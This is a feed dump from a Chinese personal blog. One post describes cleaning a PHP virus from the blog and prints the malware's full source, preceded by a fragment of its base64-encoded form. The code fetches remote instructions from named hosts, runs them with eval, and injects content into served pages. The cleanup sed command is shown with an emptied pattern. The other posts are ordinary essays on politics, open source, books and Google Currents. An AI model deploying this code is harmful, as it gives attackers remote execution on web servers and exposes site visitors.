J0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?>

                    非常感谢 @zula和@tifan的帮助，清理掉了病毒，恢复了blog。用了一个很简单的办法:

                    find . -name “*.php” -exec sed -i ’1s///g’ {} \;

                    另外,@tifan还给出了病毒的源代码：

                    if (function_exists(‘ob_start’) && !isset($_SERVER['mr_no'])) {
                    $_SERVER['mr_no'] = 1;
                    if (!function_exists(‘mrobh’)) {
                    function get_tds_777($url) {
                    $content = “”;
                    $content = @trycurl_777($url);
                    if ($content !== false) return $content;
                    $content = @tryfile_777($url);
                    if ($content !== false) return $content;
                    $content = @tryfopen_777($url);
                    if ($content !== false) return $content;
                    $content = @tryfsockopen_777($url);
                    if ($content !== false) return $content;
                    $content = @trysocket_777($url);
                    if ($content !== false) return $content;
                    return ”;
                    }
                    function trycurl_777($url) {
                    if (function_exists(‘curl_init’) === false) return false;
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    $result = curl_exec($ch);
                    curl_close($ch);
                    if ($result == “”) return false;
                    return $result;
                    }
                    function tryfile_777($url) {
                    if (function_exists(‘file’) === false) return false;
                    $inc = @file($url);
                    $buf = @implode(”, $inc);
                    if ($buf == “”) return false;
                    return $buf;
                    }
                    function tryfopen_777($url) {
                    if (function_exists(‘fopen’) === false) return false;
                    $buf = ”;
                    $f = @fopen($url, ‘r’);
                    if ($f) {
                    while (!feof($f)) {
                    $buf. = fread($f, 10000);
                    }
                    fclose($f);
                    } else return false;
                    if ($buf == “”) return false;
                    return $buf;
                    }
                    function tryfsockopen_777($url) {
                    if (function_exists(‘fsockopen’) === false) return false;
                    $p = @parse_url($url);
                    $host = $p['host'];
                    $uri = $p['path'].’?’.$p['query'];
                    $f = @fsockopen($host, 80, $errno, $errstr, 30);
                    if (!$f) return false;
                    $request = “GET $uri HTTP/1.0\n”;
                    $request. = “Host: $host\n\n”;
                    fwrite($f, $request);
                    $buf = ”;
                    while (!feof($f)) {
                    $buf. = fread($f, 10000);
                    }
                    fclose($f);
                    if ($buf == “”) return false;
                    list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf); //\r\n\r\n
                    return $buf;
                    }
                    function trysocket_777($url) {
                    if (function_exists(‘socket_create’) === false) return false;
                    $p = @parse_url($url);
                    $host = $p['host'];
                    $uri = $p['path'].’?’.$p['query'];
                    $ip1 = @gethostbyname($host);
                    $ip2 = @long2ip(@ip2long($ip1));
                    if ($ip1 != $ip2) return false;
                    $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                    if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
                    return false;
                    }
                    $request = “GET $uri HTTP/1.0\n”;
                    $request. = “Host: $host\n\n”;
                    socket_write($sock, $request);
                    $buf = ”;
                    while ($t = socket_read($sock, 10000)) {
                    $buf. = $t;
                    }@socket_close($sock);
                    if ($buf == “”) return false;
                    list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
                    return $buf;
                    }
                    function update_tds_file_777($tdsfile) {
                    $actual1 = $_SERVER['s_a1'];
                    $actual2 = $_SERVER['s_a2'];
                    $val = get_tds_777($actual1);
                    if ($val == “”) $val = get_tds_777($actual2);
                    $f = @fopen($tdsfile, “w”);
                    if ($f) {@fwrite($f, $val);@fclose($f);
                    }
                    if (strstr($val, “|||CODE|||”)) {
                    list($val, $code) = explode(“|||CODE|||”, $val);
                    eval(base64_decode($code));
                    }
                    return $val;
                    }
                    function get_actual_tds_777() {
                    $defaultdomain = $_SERVER['s_d1'];
                    $dir = $_SERVER['s_p1'];
                    $tdsfile = $dir.”log1.txt”;
                    if (@file_exists($tdsfile)) {
                    $mtime = @filemtime($tdsfile);
                    $ctime = time() – $mtime;
                    if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                    } else {
                    $content = @file_get_contents($tdsfile);
                    }
                    } else {
                    $content = update_tds_file_777($tdsfile);
                    }
                    $tds = @explode(“\n”, $content);
                    $c = @count($tds) + 0;
                    $url = $defaultdomain;
                    if ($c > 1) {
                    $url = trim($tds[mt_rand(0, $c - 2)]);
                    }
                    return $url;
                    }
                    function is_mac_777($ua) {
                    $mac = 0;
                    if (stristr($ua, “mac”) || stristr($ua, “safari”)) if ((!stristr($ua, “windows”)) && (!stristr($ua, “iphone”))) $mac = 1;
                    return $mac;
                    }
                    function is_msie_777($ua) {
                    $msie = 0;
                    if (stristr($ua, “MSIE 6″) || stristr($ua, “MSIE 7″) || stristr($ua, “MSIE 8″) || stristr($ua, “MSIE 9″)) $msie = 1;
                    return $msie;
                    }
                    function setup_globals_777() {
                    $rz = $_SERVER["DOCUMENT_ROOT"].”/.logs/”;
                    $mz = “/tmp/”;
                    if (!is_dir($rz)) {@mkdir($rz);
                    if (is_dir($rz)) {
                    $mz = $rz;
                    } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"].”/.logs/”;
                    if (!is_dir($rz)) {@mkdir($rz);
                    if (is_dir($rz)) {
                    $mz = $rz;
                    }
                    } else {
                    $mz = $rz;
                    }
                    }
                    } else {
                    $mz = $rz;
                    }
                    $bot = 0;
                    $ua = $_SERVER['HTTP_USER_AGENT'];
                    if (stristr($ua, “msnbot”) || stristr($ua, “Yahoo”)) $bot = 1;
                    if (stristr($ua, “bingbot”) || stristr($ua, “google”)) $bot = 1;
                    $msie = 0;
                    if (is_msie_777($ua)) $msie = 1;
                    $mac = 0;
                    if (is_mac_777($ua)) $mac = 1;
                    if (($msie == 0) && ($mac == 0)) $bot = 1;
                    global $_SERVER;
                    $_SERVER['s_p1'] = $mz;
                    $_SERVER['s_b1'] = $bot;
                    $_SERVER['s_t1'] = 1200;
                    $_SERVER['s_d1'] = “http://sweepstakesandcontestsdo.com/”;
                    $d = ‘?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);
                    $_SERVER['s_a1'] = ‘http://www.lilypophilypop.com/g_load.php’.$d;
                    $_SERVER['s_a2'] = ‘http://www.lolypopholypop.com/g_load.php’.$d;
                    $_SERVER['s_script'] = “mm.php?d=1″;
                    }
                    setup_globals_777();
                    if (!function_exists(‘gml_777′)) {
                    function gml_777() {
                    $r_string_777 = ”;
                    if ($_SERVER['s_b1'] == 0) $r_string_777 = ‘‘;
                    return $r_string_777;
                    }
                    }
                    if (!function_exists(‘gzdecodeit’)) {
                    function gzdecodeit($decode) {
                    $t = @ord(@substr($decode, 3, 1));
                    $start = 10;
                    $v = 0;
                    if ($t & 4) {
                    $str = @unpack(‘v’, substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                    }
                    if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                    }
                    if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                    }
                    if ($t & 2) {
                    $start += 2;
                    }
                    $ret = @gzinflate(@substr($decode, $start));
                    if ($ret === FALSE) {
                    $ret = $decode;
                    }
                    return $ret;
                    }
                    }
                    function mrobh($content) {@Header(‘Content-Encoding: none’);
                    $decoded_content = gzdecodeit($content);
                    if (preg_match(‘/\]*\>)/si’, gml_777().”\n”.’$1′, $decoded_content);
                    } else {
                    return $decoded_content.gml_777();
                    }
                    }
                    ob_start(‘mrobh’);
                    }
                    }

                    感兴趣的同学可以研究一下～～～

                    Recent Comments

                    ]]>                     http://shizhao.org/2012/04/blog/feed/ 1                     其实，这些问题我们在100年前都讨论过了… http://shizhao.org/2012/02/five/?utm_source=rss&utm_medium=rss&utm_campaign=five http://shizhao.org/2012/02/five/#comments Mon, 27 Feb 2012 12:20:36 +0000 Shizhao http://shizhao.org/?p=3659 阅读全文——共542字]]>

                    民主，自由、宪政、公民权利等等，看完袁伟时的《告别中世纪》才知道，在1910-20年代，这些问题都已经讨论烂了。虽然那时中国政治上还很乱，人民还很贫穷，但那是中国有史以来言论最自由的年代。

                    现在我们一提民主，很多人就说，中国人素质低，一民主就乱了。100年前的很多中国人也这么看，陈独秀驳斥道：“中国社会….上面是极专制的政府，下面是极放任的人民，自己却有种种类乎自治团体的联合：乡村有宗祠，有神社，有团练；都会有会馆，有各种善堂，有义学，有各种工商业的公所；像这些各种联合，虽然和我们理想的民治隔的还远，却不能说中国人的民治制度，没有历史上的基础”（当时的“民治”即指“民主”）

                    100年前，国会对出版自由的一点点限制（对于当下而言，真的不过是一点点而已），找来了知识分子的群起而攻之，李大钊、胡适、高梦麟、蔡元培、陈独秀等等，这些我们现在耳熟能详的名人们都挺身而出，文檄笔伐，当时的中华全国报界联合会更是直接向国务院发表公开信，直斥政府妨害自由，公开信中白纸黑字声明“不自由毋宁死”。这种盛况现在再也见不到了，知识分子们都成了鸵鸟。

                    100年前，针对国会讨论将孔教定为国教的问题，陈独秀说，“无论何种学派，均不能定于一尊”。当今已经没几个人敢这么说了….

                    等等，等等…….

                    Recent Comments

                      ]]>                       http://shizhao.org/2012/02/five/feed/ 0                       为什么不使用开源？ http://shizhao.org/2012/02/not-opensource/?utm_source=rss&utm_medium=rss&utm_campaign=not-opensource http://shizhao.org/2012/02/not-opensource/#comments Wed, 01 Feb 2012 14:36:45 +0000 Shizhao http://shizhao.org/?p=3655 阅读全文——共1577字]]> 最近做一个项目，本想用开源软件做的，虽然我一直积极游说，但是几经周折后，最终还是放弃了。这次失败的尝试倒是使我深刻体会到许多企业不使用开源软件的某些原因了。这里我说的企业是指与IT、通讯、传媒关系不大的行业，广义上也可以包括许多政府机构。

                      不差钱

                      这个原因在私营企业可能不是主要的，但是在国有企业和政府机构却常常成为一个重要因素。虽然开源软件基本不需要花钱购买，但是由于认识上的差距，总觉得免费的东西是不好的，花钱买来的东西才是最好的，而且越贵越好，因此有时宁可花钱买一个心理上的安慰（有人说有个别机构甚至特意花钱买开源软件）。此外，反正花的不是自己的钱，完全不心疼。而且钱花得多，可以让领导认为这个项目非常重要，技术非常先进（其实未必），从而获得领导的赏识。

                      有人说，用开源软件就不好吃回扣了。其实虽然回扣这种事情时有发生，但是至少在我的经验看来，还不是普遍现象。另外一个原因就是体制的问题了，天价内存条这类事情的出现，撇开标价错误不谈，其实未必其中有人真的吃了回扣，而是现在的政府采购制度使然，许多国有企业也有自己类似的供应商制度。以我了解的某国有企业的供应商制度而言，购买任何东西，必须向在供应商名单内的企业购买，如果买的东西无法在名单内企业买的话，那么不仅仅要进行非常复杂的审批手续，而且还要通过名单中的供应商才能购买，并且要支付给该供应商一大笔费用（20%左右）。可想而知，供应商名单形成了一个半封闭的市场，在这个市场中的供应商都是各自商品的垄断者（基本上供应同类商品的供应商不太会超过3家），供应商们当然要哄抬物价，用比外部市场贵很多的价格卖，反正你只能买我的东西。而在这种体系下，缺乏技术实力的企业就不太会用开源的产品了。

                      没有技术实力

                      许多与IT、传媒、通信无关的企业，其在软件开方面缺乏技术人才，而开源软件常常需要做许多二次开发或维护，这些企业根本没有这个能力，或者即使有能力，但是因为这方面在企业中不是主要业务，常常不受重视，有软件开发技术的人才经常还要去做其他的许多工作，根本没有精力专门去开发。因此这类企业的模式常常是，对所用软件领域有一定了解的人确定好开发商，然后沟通需求，定下价格，订好合同，买进安装使用，企业的技术维护人员只是做一些简单的维护工作，较大的问题都要通过开发商来解决。

                      另一方面，如果使用开源软件，许多二次开发工作就需要找人帮助解决，而鉴于前面提到的经费使用问题，不仅手续异常繁琐，还要被供应商雁过拔毛，很难让企业的项目员工有足够的动力去做。

                      不安全

                      开源软件不安全是一个经常存在的认识误区。这主要是出于对开源软件的不了解造成的，这个问题其实反而是最容易解决的问题。只要有对开源了解比较清楚的人，把这个错误认识讲清楚，还是很容易被企业的领导认可的。

                      但是还有一个层面就是，许多开源软件可能没有商业公司来运营，如果进行二次开发的话往往只能找一些个人来做开发。而许多国有企业和政府机构对此会产生安全疑虑，生怕这种个人的开发者会不会窃取企业机密或政府机密，会让企业或政府机构感到对个人开发者缺乏约束力。

                      不用承担责任

                      不使用开源软件的另一个原因是，使用开源软件，如果出了问题责任就是自己的，但是如果从其他公司采购的，那么所有的责任就可以转嫁到那个公司上去了，恐怕这也是前面说道有企业宁可花钱买开源软件的一个原因了。总之，能不承担责任，就尽量不要去主动承担责任，这也是这类企业领导的信条。

                      —————————————————————————–

                      当然，真正不使用开源软件的原因，常常是上面几条的综合考虑的结果。，技术人员没有技术实力，没有时间精力去开发维护，领导不想承担不必要的责任，采购流程的制约，再加上不差钱，于是形成了与开源软件无缘的局面。

                      Recent Comments

                      ]]>                       http://shizhao.org/2012/02/not-opensource/feed/ 1                       自由，是多么令人感动 http://shizhao.org/2012/01/fre/?utm_source=rss&utm_medium=rss&utm_campaign=fre http://shizhao.org/2012/01/fre/#comments Thu, 19 Jan 2012 13:30:52 +0000 Shizhao http://shizhao.org/?p=3652 阅读全文——共498字]]> 最近，有两件事让我非常感动。

                      其实第一件事严格说来也不能算事，只是看了两本书而已，书中的内容颇让人触动。书是夫妻二人组林达写的近距离看美国系列中的两本：《历史深处的忧虑》、《总统是靠不住的》。不是小说，不是传记，不是励志读物，只是两本讨论美国社会政治制度的散文，可这居然数次让我动容，眼角发酸。书中讲到美国人200年来一直守护着自由；即使总统，到了最危险的关头也能以人民和宪法为重；开国者们为了保障自由、限制公权力而绞尽脑汁，法官们践行法律时也能时时注意到不伤害人民的自由权利。

                      第二件让我感动的事情就是这两天网络上（严格来说是美国网络上）闹得沸沸扬扬的反对SOPA法案的活动。详情不用说了，网络上已经一大把一大把的文章了，或许也可以看看维基百科上的声明以及其法律顾问的解释。这是一个对可能危及美国人民自由的法案而发出的反对活动。难得看到这么多的web2.0网站如此齐心，而最让我心潮澎湃的是google首页上的这句话：“告诉国会：请不要审查互联网！”

                      Google首页抗议反盗版法案

                      为这两件事居然会感动，自己都觉得有些不可思议。细细想来，那还是因为我朝的自由缺缺，看到别人为自由能够自由的抗争和发声并去保护，实在是感触太多之故吧。

                      Recent Comments

                        ]]>                         http://shizhao.org/2012/01/fre/feed/ 0                         2011年已读书目 http://shizhao.org/2012/01/2011-books/?utm_source=rss&utm_medium=rss&utm_campaign=2011-books http://shizhao.org/2012/01/2011-books/#comments Mon, 02 Jan 2012 12:39:23 +0000 Shizhao http://shizhao.org/?p=3647 阅读全文——共2237字]]> 看到许多人都总结了2011年一年自己都读了啥书，那我也总结一下一年来读过的书吧。也希望我的书单能对其他喜欢读书的人有所帮助和发现。

                        回顾一下才发觉，自己去年还真的是读了不少书，只是我读的书大多都不是新书啦：

                        果壳中的宇宙

                        • 果壳中的宇宙
                        • [英] 史蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
                        • ★★★★
                        • 宅男装逼书籍，经典，适合有一定物理基础的同学看。翻译质量不敢恭维。

                        网民的狂欢

                        共创未来

                        时间.空间和万物

                        终极理论之梦

                        • 终极理论之梦
                        • S·温伯格 / 湖南科技 /
                        • ★★★★★
                        • 第一推动力丛书大部分翻译质量都不错。这本是诺贝尔物理学奖得主温伯格非常有名的一部作品，探讨物理学的终极理论。

                        时空的未来

                        • 时空的未来
                        • 霍金 / 湖南科学技术出版社
                        • ★★★★★
                        • 还是第一推动力的。这本书汇集了霍金等几位物理学家的文章，严肃探讨时间旅行的可行性。介于科普与学术论文之间

                        千亿个太阳

                        • 千亿个太阳
                        • [德]鲁道夫·基彭哈恩 / 湖南科学技术出版社
                        • ★★★★
                        • 非常经典的天文学科普著作，只是内容有些老了

                        生命是什么

                        • 生命是什么
                        • [奥]埃尔温·薛定谔
                        • ★★★★
                        • 薛定谔同学一本很有名的书，不谈物理，而是谈生命与哲学。是分子生物学的奠基之作。

                        动物农场

                        • 动物农场
                        • [英] 乔治·奥威尔 / 荣如德 / 上海译文出版社
                        • ★★★★★
                        • 这个不用多说了。“动物是平等的，而有些动物是更加平等的”

                        温度概念及其发展

                        • 温度概念及其发展
                        • 薛国良 / 河北教育出版社
                        • ★★★★
                        • 国人写的一部专门讲温度这个概念的科普著作

                        信息的社会层面

                        • 信息的社会层面
                        • [美]布朗 / 王铁生 / 商务印书馆
                        • ★★★★
                        • 信息与人类社会之间的相互影响。其中讲到的一些知名IT早期的故事蛮有意思。

                        唐诗杂论

                        • 唐诗杂论
                        • 闻一多 / 上海古籍出版社
                        • ★★★★
                        • 闻一多同学论唐诗，偏学术一些。据说还在学界引起较大争议。其中一些观点还是蛮有意思。

                        中国道教发展史略

                        • 中国道教发展史略
                        • 南怀瑾 / 复旦大学出版社
                        • ★★★
                        • 虽然南怀瑾同学比较有争议性。但怎么说论家也是通读过《道藏》滴人，只这一点就没有几个人能比得了。只是这本书真的是“史略”，太略了一点，看起来不过瘾

                        通俗天文学

                        • 通俗天文学
                        • (美)西蒙·纽康 / 金克木 / 当代世界出版社
                        • ★★★
                        • 又是一本天文学方面的经典科普著作。只是这个译本为了保持知识的新鲜度，加了很多内容上去。结果就变成狗尾续貂了。

                        樱花与武士

                        • 樱花与武士
                        • 孔祥旭著 / 同心 /
                        • ★★★★
                        • 国人所著，谈日本文化的历史渊源，中日之间的许多争执都是因为文化差异而起。不管是反日还是不反日，只要关心中日关系，都应该看一看

                        大设计

                        • 大设计
                        • [英] 斯蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
                        • ★★★★
                        • 好吧，这本书没出来就已经是名著了。没有物理功底的同学还是直接路过吧，当然，用来装逼还是相当不错的。可惜吴忠超同学对霍金著作糟糕的垄断翻译，彻底把这本书给毁了。这应该是我2011年读过的几本新书之一吧

                        从大历史的角度读蒋介石日记

                        • 从大历史的角度读蒋介石日记
                        • 黄仁宇 / 九州出版社 /
                        • ★★★★
                        • 非常喜欢黄仁宇的书。只是这本书写的时候蒋介石日记还没有能公开查阅，所以有些观点就…

                        神话的历史

                        • 神话的历史
                        • 维罗妮卡.艾恩斯 / 杜文燕 / 希望出版社
                        • ★★★
                        • 其实书名如果叫做《世界神话》就更合适了。看着玩玩还行，书中配图错误比较多

                        自由主义

                        • 自由主义
                        • 约翰・格雷 / 曹海军 / 吉林人民出版社
                        • ★★★★
                        • 自由主义知识普及小册子（其实是非常学术化的）

                        存在之轻

                        • 存在之轻
                        • (美) 维尔切克 / 王文浩 / 湖南科学技术出版社
                        • ★★★★★
                        • 嘿嘿嘿，又见第一推动力。不太科普的物理学科普著作。需要有一定的物理学基础，读起来才不会太吃力

                        剑桥倚天屠龙史

                        • 剑桥倚天屠龙史
                        • 新垣平 / 万卷出版公司
                        • ★★★★
                        • 2011年读的另外一本新书。休闲读物。只是作者吐槽吐的太狠了一些，过犹不及了。这本书是2011年我读的最快的一本了，一天就把整本书全看完了。

                        平行宇宙

                        • 平行宇宙
                        • (美)加来道雄 / 伍义生 / 重庆出版集团，重庆出版社
                        • ★★★★
                        • 啊，作者就是那位很geek的，说英语的日本人，老在电视上晃来晃去。物理学家啊。科幻和物理是密不可分的，想想我们几十亿年以后的子孙如何解决太阳死亡，银河毁灭，宇宙死寂的终极问题吧。就是翻译差了一点。

                        君主论

                        • 君主论
                        • [意]尼科洛·马基雅维里 / 潘汉典 / 商务印书馆
                        • ★★★★
                        • 经典啊。看这本书的人经常会被人问，你是要从政？还是要当领导了？所以千万别被你的领导/老板发现你在看这本书…

                        超越时空

                        • 超越时空
                        • （美）加来道雄（Kaku,M） / 刘玉玺 / 上海科技教育出版社
                        • ★★★★
                        • 这本书要和上面那本《平行宇宙》搭在一起看才有意思

                        知识分子论

                        • 知识分子论
                        • 爱德华•W•萨义德 / 单德兴 / 生活·读书·新知三联书店
                        • ★★★★★
                        • 在中国互联网上吵吵来吵吵去的那些公知们真的应该好好看看这本书。看看怎样才是真正的知识分子。其实韩寒还是挺契合萨义德同学的。

                        西方文化中的数学

                        • 西方文化中的数学
                        • （美）M・克莱因 / 张祖贵 / 复旦大学出版社 /
                        • ★★★★★
                        • 真的是一本好书。对数学史感兴趣的同学绝对不能错过。

                        美国的战争

                        • 美国的战争
                        • （德）妮科勒·施莱 / 陶佩云 / 生活.读书.新知三联书店
                        • ★★★
                        • 从德国人的角度看美国还是挺有意思的。书中讲到的一些美国历史上的小八卦比较令人耳目一新。

                        免费文化

                        著作权法教程

                        • 著作权法教程
                        • 费安玲 / 专利文献出版社
                        • ★★★
                        • 对于著作权法源的阐述比较充分，仅此而已。

                        爱因斯坦尚未完成的交响乐

                        • 爱因斯坦尚未完成的交响乐
                        • 玛西亚·芭楚莎 / 李红杰 / 湖南科技
                        • ★★★
                        • 原版2002年出的，现在有些内容稍微过时了一点，但是翻译质量还是不错的

                        PS: 为什么豆瓣电影有我的2011年电影，而豆瓣读书却怎么没有这么个东西呢？

                        Recent Comments

                        ]]>                         http://shizhao.org/2012/01/2011-books/feed/ 1                         免费 vs 自由 http://shizhao.org/2011/12/free/?utm_source=rss&utm_medium=rss&utm_campaign=free http://shizhao.org/2011/12/free/#comments Fri, 23 Dec 2011 17:15:11 +0000 Shizhao http://shizhao.org/?p=3639 阅读全文——共1077字]]> 更新：未想到小文竟然还引起了博客圈的回响，这年头还真不容易啊。首先要说的是，“美好的回忆”不是回忆当年的那个翻译计划，而是这本书让我想起了当年活泼的博客圈生态。至于当年那些译文的好坏不是我要说的重点。第二，我不是意在嘲讽该书中译本的质量，只是调侃一下“自由”而已。另外，非常感谢Lawrence Li 的文章中指出了我文章中的许多语病和错别字，真的是贻笑方家了。我已经在下面修改了一些错误和表达不严谨的地方。

                        刚读完《免费文化》，是的，“免费”，其实就是CC创始人莱斯格著作的《自由文化》（Free Cultural Free Culture）一书的简体中文版书名。提起《自由文化》，又想起了几年前的中文博客圈发起的该书的中文翻译，可叹项目缺乏进展，现在连网站都已经打不开了。

                        为了缅怀一下当面年的美好时光，才买的这本《免费文化》，本以为作者译者完全胡乱翻译，肯定是翻得很糟糕的山寨货。却没想到，虽然的确算不上翻译的好（许多技术性一些的词语翻得相当糟糕），但是除了封面、封底和版权页上用了“免费文化”一词，书中完全找不到“免费文化”，全部都是原汁原味的“自由文化”。这很明显不由得令人有一种阴谋论的想法，是不是作者译者或出版社为了去敏，用免费文化的羊头，卖自由文化的狗肉去了。？

                        这真的是一个令人啼笑皆非的事情。在天朝，自由是如此的敏感，书名都不敢用“自由”一词，生怕不能出版。这倒是令人想起，在天朝，与自由文化一奶同胞的自由软件。每年国际上有一天，开源、自由软件圈都有个活动，叫做软件自由日（Software Freedom Day ），可是在天朝，这一天却变成了自由软件日。软件都不能呼吁令其自由，更何况人乎？

                        （软件自由日logo）

                        最后，附上韩寒一篇blog中的一段话：

                        问：那难道中国就不需要民主与自由了么？
                        回 答：这是一个误区，文化人普遍将民主与自由联系在一起，其实对于国人，民主带来的结果往往是不自由。因为大部分国人眼中的自由，与出版，新闻，文艺，言 论，选举，政治都没有关系，而是公共道德上的自由，比如说没有什么社会关系的人，能自由的喧哗，自由的过马路，自由的吐痰，稍微有点社会关系的人，我可以 自由的违章，自由的钻各种法律法规的漏洞，自由的胡作非为，所以，好的民主必然带来社会进步，更加法制，这势必让大部分并不在乎文化自由的人们觉得有些不 自由，就像很多中国人去了欧美发达国家觉得浑身不自在一样。所以，民主和自由未必要联系在一起说，我认为中国人对自由有着自己独特的定义，而自由在中国最 没有感染力。

                        最最后，这里有《自由文化》一书繁体中文版的PDF，由译者释出，不是盗版。

                        Recent Comments

                          ]]>                           http://shizhao.org/2011/12/free/feed/ 1                           试用Google Currents http://shizhao.org/2011/12/google-currents/?utm_source=rss&utm_medium=rss&utm_campaign=google-currents http://shizhao.org/2011/12/google-currents/#comments Wed, 14 Dec 2011 13:50:10 +0000 Shizhao http://shizhao.org/?p=3635 阅读全文——共715字]]> Google Currents producer logo

                          Google Currents是google最新推出的数字内容移动平台，安卓平台和iOS平台都可以使用（不支持中国区）。看了一圈评价，觉得还是xjp的看法靠谱，这不仅仅是数字阅读移动平台，更为重要的是，它还是一个个人数字内容出版平台，对于自媒体而言，可以零成本的将自己的内容通过这个平台发布到移动设备上，app的资金与技术成本还是太高了。

                          试用了一下它的发布功能，总体而言Google Currents还是一个非常典型的beta产品，问题多多。例如对于feed的解析，远不如google redaer强大，某些feed不能正常解析。虽然内置支持google+，但是对google+内容的处理问题很大，例如我把自己的google+发布上去，它却只能提供很多天以前的内容，最新的内容始终看不到。但是也看到，它改进也是很快的，头一天建立的内容还不能删除，第二天就已经修好了。

                          记得之前有人说干脆自己做个app，然后在上面写连载小说。Google Currents已经能够完全实现这个功能了。Google Currents 可以通过feed导入内容，也可以从google doc导入，那么只要在google docs写小说，就可以同步发布到Google Currents 了。

                          我把我的blog、flickr、tumblr、google+的内容整合在一起发布到了Google Currents ，你可以在移动设备上点击这个链接在Google Currents 上订阅我发布的内容。或者也可以在Google Currents上搜索“半亩塘闲话”找到我。

                          下面是我在Google Currents上的两张截图：

                          （照片页）

                          （导航页）
                          我穿墙而来，google Currents能当几时？

                          Recent Comments

                          ]]>                           http://shizhao.org/2011/12/google-currents/feed/ 1                           吐槽美帝 http://shizhao.org/2011/12/wars-of-usa/?utm_source=rss&utm_medium=rss&utm_campaign=wars-of-usa http://shizhao.org/2011/12/wars-of-usa/#comments Mon, 12 Dec 2011 15:12:59 +0000 Shizhao http://shizhao.org/?p=3632 阅读全文——共2035字]]>

                          《美国的战争》一书是由两位德国政治学家写的，于我而言，站在德国的视角看美国问题是一个有趣的角度。只是其中谈到与中国有关的几场战争（例如义和团、八国联军、朝鲜战争等），作者的资料似乎不太详尽，描述的过于简略粗糙了一点。

                          全书按照各场战争和冲突分章节，每章开始还有一个简单的信息表，颇似维基百科的战争信息框。全书总结下来美国自建国以来发动战争的目的几乎都是因为涉及到了美国自身的利益。书中有一些比较有趣的细节，倒是可以分享一下。

                          印第安人战争

                          美国与印第安人之间的冲突断断续续持续了将近2个世纪。印第安人倒也并不如我们所想象的那样不堪一击，他们也打过几次胜仗，甚至在不同时期还和英国、法国等联盟。美国在1946年成立了印第安人索偿委员会，来解决长期积累的印第安人土地索偿问题。该委员会1978年解散，转交法院处理。截至1980年为止，美国政府为此只偿付了4亿美元。

                          不自由，毋宁死

                          得克萨斯最初原属于墨西哥，19世纪20年代，墨西哥政府废除奴隶制，这一下子捅了得克萨斯的马蜂窝，因为当时该地区奴隶是当地移民最重要的支柱。于是，得克萨斯人严重抗议，宣布独立，成立共和国。墨西哥军队与得克萨斯自由军开战，墨西哥军队节节胜利，得克萨斯人为了捍卫自己的独立，为了捍卫奴隶制，于是喊出了历史上最注明的一个口号：“不自由，毋宁死！”不知道这现在看起来是不是很讽刺？

                          得克萨斯共和国最终勉强抵挡住了墨西哥政府的进攻，但是他们也明白，自己很难继续抵挡墨西哥收复背叛领土的进攻。于是他们明智地作出了一个选择，要求加入美国，成为美国的一个州。但是这件事在美国国内却争议了很长时间。因为奴隶制问题，从1837年得克萨斯申请加入美国，直到1845年美国才同意合并。

                          继续奴隶制的话题

                          接下来就是因为奴隶制而发生的南北战争了。林肯总统本来对奴隶制的态度是比较骑墙的，他一方面反对扩大蓄奴制，另一方面也不愿意通过武力来废除奴隶制。正因为此，他才得以成功在总统选举中获胜。

                          1862年林肯发表了著名的《解放宣言》，宣称所有奴隶全部自由，但是他又暂不解放奴隶，而是以此激起南方州的种族仇恨。另一方面，虽然北方州的人们主张解放奴隶，但是当大量的奴隶来到北方，他们又开始各种担心，不愿意看到奴隶与白人平等。而自宣言发表后，北方军队的主要战斗力都是来自不断加入的奴隶们，他们满腔仇恨都从战斗中发泄出去了。

                          索马里恐惧症

                          1990年代索马里的内乱是第一个因为侵犯人权而遭到国际社会军事干预的实例，也从此诞生“人道主义干预”这么个概念。这要比今年干利比亚早多了。美国决定干预索马里可以说是完全出于人道主义，一方面是国内民众和舆论的压力，另一方面也是美国想在冷战后建立世界新秩序的一次试验，可惜这次试验很不成功。在追捕爱迪德的行动中，美国的三角洲部队行动失败，18名美国士兵死亡，索马里人死了1000多，电视媒体中播放的一名死亡的美国士兵被爱迪德追随者在街上拖着示众的画面，让美国人和美国政府形成了非常深重的心理阴影。

